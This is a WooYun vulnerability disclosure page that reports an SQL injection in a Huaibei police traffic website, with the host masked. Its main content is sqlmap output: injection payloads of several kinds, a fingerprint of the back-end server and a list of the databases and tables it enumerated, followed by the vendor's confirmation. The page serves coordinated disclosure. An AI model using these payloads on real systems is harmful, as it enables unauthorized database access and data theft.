当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0150999

漏洞标题:淮北市公安局交警网SQL注入(UNION)

相关厂商:公安部一所

漏洞作者: 路人甲

提交时间:2015-11-02 10:12

修复时间:2015-12-17 13:42

公开时间:2015-12-17 13:42

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:已交由第三方合作机构(公安部一所)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-11-02: 细节已通知厂商并且等待厂商处理中
2015-11-02: 厂商已经确认,细节仅向厂商公开
2015-11-12: 细节向核心白帽子及相关领域专家公开
2015-11-22: 细节向普通白帽子公开
2015-12-02: 细节向实习白帽子公开
2015-12-17: 细节向公众公开

简要描述:

RT

详细说明:

http://**.**.**.**/pic_detail.php?code=54&table_name=tb_pic


http://**.**.**.**/main.php?mod_id=17


sqlmap resumed the following injection point(s) from stored session:
---
Parameter: code (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: code=54 AND 7379=7379&table_name=tb_pic
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: code=54 AND 4297=CONVERT(INT,(SELECT CHAR(113)+CHAR(106)+CHAR(122)+CHAR(112)+CHAR(113)+
(SELECT (CASE WHEN (4297=4297) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(98)+CHAR(120)+CHAR(1
20)+CHAR(113)))&table_name=tb_pic
Type: inline query
Title: Microsoft SQL Server/Sybase inline queries
Payload: code=(SELECT CHAR(113)+CHAR(106)+CHAR(122)+CHAR(112)+CHAR(113)+(SELECT (CASE WHEN (8599
=8599) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(98)+CHAR(120)+CHAR(120)+CHAR(113))&table_nam
e=tb_pic
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase AND time-based blind (heavy query)
Payload: code=54 AND 7840=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sy
s3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7)&table_name=tb_pic
Type: UNION query
Title: Generic UNION query (NULL) - 10 columns
Payload: code=54 UNION ALL SELECT CHAR(113)+CHAR(106)+CHAR(122)+CHAR(112)+CHAR(113)+CHAR(108)+CH
AR(110)+CHAR(120)+CHAR(89)+CHAR(71)+CHAR(112)+CHAR(100)+CHAR(102)+CHAR(84)+CHAR(81)+CHAR(113)+CHAR(9
8)+CHAR(120)+CHAR(120)+CHAR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- &table_name=tb_pic
---
[10:20:40] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, PHP 4.0.6
back-end DBMS: Microsoft SQL Server 2000
[10:20:40] [INFO] fetching database names
[10:20:40] [INFO] the SQL query used returns 8 entries
[10:20:40] [INFO] resumed: hbcgs
[10:20:40] [INFO] resumed: hbzd
[10:20:40] [INFO] resumed: master
[10:20:40] [INFO] resumed: model
[10:20:40] [INFO] resumed: msdb
[10:20:40] [INFO] resumed: Northwind
[10:20:40] [INFO] resumed: pubs
[10:20:40] [INFO] resumed: tempdb
available databases [8]:
[*] hbcgs
[*] hbzd
[*] master
[*] model
[*] msdb
[*] Northwind
[*] pubs
[*] tempdb

漏洞证明:

Database: hbzd
+--------------------+---------+
| Table | Entries |
+--------------------+---------+
| dbo.tb_zdxx | 12406 |
| dbo.tb_common | 920 |
| dbo.tb_dir_field | 33 |
| dbo.tb_dir_select | 31 |
| dbo.tb_pic | 29 |
| dbo.tb_dir_table | 17 |
| dbo.tb_region | 16 |
| dbo.tb_account | 7 |
| dbo.sysconstraints | 3 |
| dbo.syssegments | 3 |
| dbo.tb_link | 3 |
| dbo.tb_vod | 3 |
| dbo.tb_dir_config | 1 |
+--------------------+---------+

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:11

确认时间:2015-11-02 13:41

厂商回复:

非常感谢!
你提交的漏洞已验证,会尽快修复。

最新状态:

暂无